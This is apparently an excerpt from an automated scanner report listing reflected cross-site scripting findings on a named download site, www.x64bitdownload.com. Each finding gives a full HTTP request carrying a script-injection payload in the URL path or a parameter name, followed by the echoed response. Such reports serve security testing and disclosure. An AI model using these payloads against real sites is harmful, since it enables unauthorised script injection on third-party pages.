HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:59:23 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79250
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-usenet-downloads.htmlb9c53"><script>alert(1)</script>61783017a7a" /> ...[SNIP]...
4.1616. http://www.x64bitdownload.com/64-bit-usenet-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-usenet-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7053"><script>alert(1)</script>b56ce311832 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-usenet-downloads.html?c7053"><script>alert(1)</script>b56ce311832=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:33 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79253
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-usenet-downloads.html?c7053"><script>alert(1)</script>b56ce311832=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88aaf"><script>alert(1)</script>189e1a3160f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-usenet-search-engine-downloads.html88aaf"><script>alert(1)</script>189e1a3160f HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:23 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A20%3A%22usenet-search-engine%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A20%3A%22usenet+search+engine%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38622
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-usenet-search-engine-downloads.html88aaf"><script>alert(1)</script>189e1a3160f" /> ...[SNIP]...
4.1618. http://www.x64bitdownload.com/64-bit-usenet-search-engine-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-usenet-search-engine-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6caf6"><script>alert(1)</script>8b75e1c033 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-usenet-search-engine-downloads.html?6caf6"><script>alert(1)</script>8b75e1c033=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:45 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A20%3A%22usenet-search-engine%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A20%3A%22usenet+search+engine%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38624
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-usenet-search-engine-downloads.html?6caf6"><script>alert(1)</script>8b75e1c033=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a316"><script>alert(1)</script>d8cd7fa8591 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-usenext-downloads.html9a316"><script>alert(1)</script>d8cd7fa8591 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:02 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:44 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22usenext%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22usenext%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28788
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-usenext-downloads.html9a316"><script>alert(1)</script>d8cd7fa8591" /> ...[SNIP]...
4.1620. http://www.x64bitdownload.com/64-bit-usenext-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-usenext-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 987b5"><script>alert(1)</script>7e91aeed80a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-usenext-downloads.html?987b5"><script>alert(1)</script>7e91aeed80a=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:48:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:58:56 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22usenext%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22usenext%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28791
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-usenext-downloads.html?987b5"><script>alert(1)</script>7e91aeed80a=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb00e"><script>alert(1)</script>e2b8c71a364 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-video-downloads.htmlcb00e"><script>alert(1)</script>e2b8c71a364 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:18 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22video%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22video%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 99716
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-video-downloads.htmlcb00e"><script>alert(1)</script>e2b8c71a364" /> ...[SNIP]...
4.1622. http://www.x64bitdownload.com/64-bit-video-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-video-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52103"><script>alert(1)</script>c4132b9c2b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-video-downloads.html?52103"><script>alert(1)</script>c4132b9c2b9=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:42:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:52:38 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22video%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22video%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 99719
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-video-downloads.html?52103"><script>alert(1)</script>c4132b9c2b9=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5865a"><script>alert(1)</script>73566294139 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-xpat-downloads.html5865a"><script>alert(1)</script>73566294139 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22xpat%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22xpat%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28936
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-xpat-downloads.html5865a"><script>alert(1)</script>73566294139" /> ...[SNIP]...
4.1624. http://www.x64bitdownload.com/64-bit-xpat-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-xpat-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6fc61"><script>alert(1)</script>c4ecea0b493 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-xpat-downloads.html?6fc61"><script>alert(1)</script>c4ecea0b493=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:52 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22xpat%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22xpat%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28939
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-xpat-downloads.html?6fc61"><script>alert(1)</script>c4ecea0b493=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b47d8"><script>alert(1)</script>80eaf09c798 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-yenc-downloads.htmlb47d8"><script>alert(1)</script>80eaf09c798 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:44:57 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:55:07 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22yenc%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22yenc%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-yenc-downloads.htmlb47d8"><script>alert(1)</script>80eaf09c798" /> ...[SNIP]...
4.1626. http://www.x64bitdownload.com/64-bit-yenc-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-yenc-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd8dd"><script>alert(1)</script>dc3655acae7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-yenc-downloads.html?bd8dd"><script>alert(1)</script>dc3655acae7=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:44 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22yenc%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22yenc%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49295
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-yenc-downloads.html?bd8dd"><script>alert(1)</script>dc3655acae7=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97190"><script>alert(1)</script>9747501482a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /a-oz-insight-1768-downloads.html97190"><script>alert(1)</script>9747501482a HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:34 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 26073
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/a-oz-insight-1768-downloads.html97190"><script>alert(1)</script>9747501482a" /> ...[SNIP]...
4.1628. http://www.x64bitdownload.com/a-oz-insight-1768-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/a-oz-insight-1768-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 654dd"><script>alert(1)</script>8885636ee6d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /a-oz-insight-1768-downloads.html?654dd"><script>alert(1)</script>8885636ee6d=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:44:36 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:54:40 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 26076
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/a-oz-insight-1768-downloads.html?654dd"><script>alert(1)</script>8885636ee6d=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2275c"><script>alert(1)</script>5b1950577da was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories2275c"><script>alert(1)</script>5b1950577da/free-64-bit-audio-multimedia-downloads-1-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:31:03 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories2275c"><script>alert(1)</script>5b1950577da/free-64-bit-audio-multimedia-downloads-1-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93e79"><script>alert(1)</script>bc95b28f18 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-audio-multimedia-downloads-1-0-d.html93e79"><script>alert(1)</script>bc95b28f18 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%221%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79681
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-audio-multimedia-downloads-1-0-d.html93e79"><script>alert(1)</script>bc95b28f18" /> ...[SNIP]...
4.1631. http://www.x64bitdownload.com/categories/free-64-bit-audio-multimedia-downloads-1-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0caf"><script>alert(1)</script>6aa48f4bf87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-audio-multimedia-downloads-1-0-d.html?b0caf"><script>alert(1)</script>6aa48f4bf87=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:44 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%221%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79685
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-audio-multimedia-downloads-1-0-d.html?b0caf"><script>alert(1)</script>6aa48f4bf87=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfa0d"><script>alert(1)</script>6f7a56462ad was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriescfa0d"><script>alert(1)</script>6f7a56462ad/free-64-bit-business-downloads-2-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:31:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21327
